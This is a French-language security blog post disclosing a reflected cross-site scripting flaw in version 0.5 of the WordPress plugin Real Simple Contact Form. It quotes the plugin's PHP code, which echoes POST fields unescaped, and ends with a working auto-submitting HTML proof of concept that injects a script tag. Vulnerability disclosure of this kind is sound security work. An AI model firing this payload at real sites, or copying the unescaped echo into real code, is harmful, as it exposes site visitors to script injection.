Accueil Cross-Site Scripting (reflected) dans le plugin Wordpress Real Simple Contact Form
Post
Annuler

Cross-Site Scripting (reflected) dans le plugin Wordpress Real Simple Contact Form

Présentation du plugin

Le plugin Real Simple Contact Form se présente de cette façon :

Create contact form easily for wordpress blog. No fancy settings. Just install plugin and contact form is ready.

La version testée est la 0.5 et date d’il y a 12 ans au moment de ces lignes.

La vulnérabilité

Dans le script principal real-simple-contact-form.php on trouve un hook qui va se charger de créer un nouveau post sur le blog :

1
register_activation_hook(__FILE__,"create_contact_page");

Le post en question le voici :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/*Create contact form*/
function create_contact_page ()
{
    global $user_ID;

    $page['post_type']    = 'page';
    $page['post_content'] = '[realsimplecontactform]';
    $page['post_parent']  = 0;
    $page['post_author']  = $user_ID;
    $page['post_status']  = 'publish';
    $page['post_title']   = 'Contact Us';
    $pageid = wp_insert_post ($page);
    if ($pageid == 0) { /* Page Add Failed */ }
}

Le contenu [realsimplecontactform] correspond à un shortcode que le plugin définit aussi :

1
2
/*Add short code*/
add_shortcode( 'realsimplecontactform', 'contact_form_function' );

C’est cette fonction (qui sera appelée quand le shortcode est croisé par Wordpress) qui est vulnérable :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
/*Add contact form*/
function contact_form_function( $atts ) {

    if (isset($_POST['real_simple_contact_form_data']))
    {
        if (empty($_POST['contact_name']))
        {
            echo "Please Enter Name";
        }
        elseif (empty($_POST['contact_email']))
        {
            echo "Please Enter Email Address";
        }
        elseif (!filter_var($_POST['contact_email'], FILTER_VALIDATE_EMAIL)) {
            echo "Please Enter Correct Email Address";
        }
        elseif (empty($_POST['contact_subject']))
        {
            echo "Please Enter Subject";
        }
        elseif (empty($_POST['contact_desc']))
        {
            echo "Please Enter Description";
        }
        else {
            /*everything ok.. lets process */
            $name = $_POST['contact_name'];
            $email_id = $_POST['contact_email'];
            $subject = $_POST['contact_subject'];
            $desc = $_POST['contact_desc'];
            $retmsg = process_contact_form($name,$email_id,$subject,$desc);
        }

        $name = $_POST['contact_name'];
        $email_id = $_POST['contact_email'];
        $subject = $_POST['contact_subject'];
        $desc = $_POST['contact_desc'];

    }
    else {                                                                                                                     $name = "";
        $email_id = "";
        $subject = "";
        $desc = "";
    }

?>

        <form method="post" action="<?php echo $_SERVER["REQUEST_URI"]; ?>">
        <p>Name : <br />
    <input style="width:250px;" name="contact_name" type="text" value="<?php echo $name; ?>" /> <br />
        <p>Email Address : <br />
    <input style="width:250px;" name="contact_email" type="text" value="<?php echo $email_id; ?>" /><br />
        <p>Subject : <br />
    <input style="width:250px;" name="contact_subject" type="text" value="<?php echo $subject; ?>" /><br />
        <p>Description : <br />
    <textarea name="contact_desc" rows="8" cols="50" ><?php echo $desc; ?></textarea>         <br />
<!--    <?php wp_nonce_field('ecfa261455','ecfnf'); ?> -->

      <div class="submit">
        <input type="submit" name="real_simple_contact_form_data" value="<?php echo 'Send'; ?>" />
        </div>
        <hr />
    </form>

<?php
}

On voit qu’en cas d’erreur de saisie sur le formulaire de contact, les données reçues sont remises dans les champs pour que l’utilisateur n’ait pas à les retaper, ce qui est très bien.

Sauf que… aucun filtrage n’est fait sur la nature des données soumises qui sont affichées telles quelles et ouvrent la porte à une vulnérabilité XSS.

PoC :

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<body>
<form id="myForm" method="POST" action="http://localhost:8000/?page_id=6">
        <input type="hidden" name="contact_name" value="&quot;&gt;&lt;ScRiPt&gt;alert(/XSS/)&lt;/sCrIpT&gt;" />
        <input type="hidden" name="contact_email" value="whatever" />
        <input type="hidden" name="contact_subject" value="default" />
        <input type="hidden" name="real_simple_contact_form_data" value="Send" />
        <input type="hidden" name="contact_desc" value="Hi there!" />
</form>
<script>document.createElement('form').submit.call(document.getElementById('myForm'));</script>
</body>
</html>
Cet article est sous licence CC BY 4.0 par l'auteur.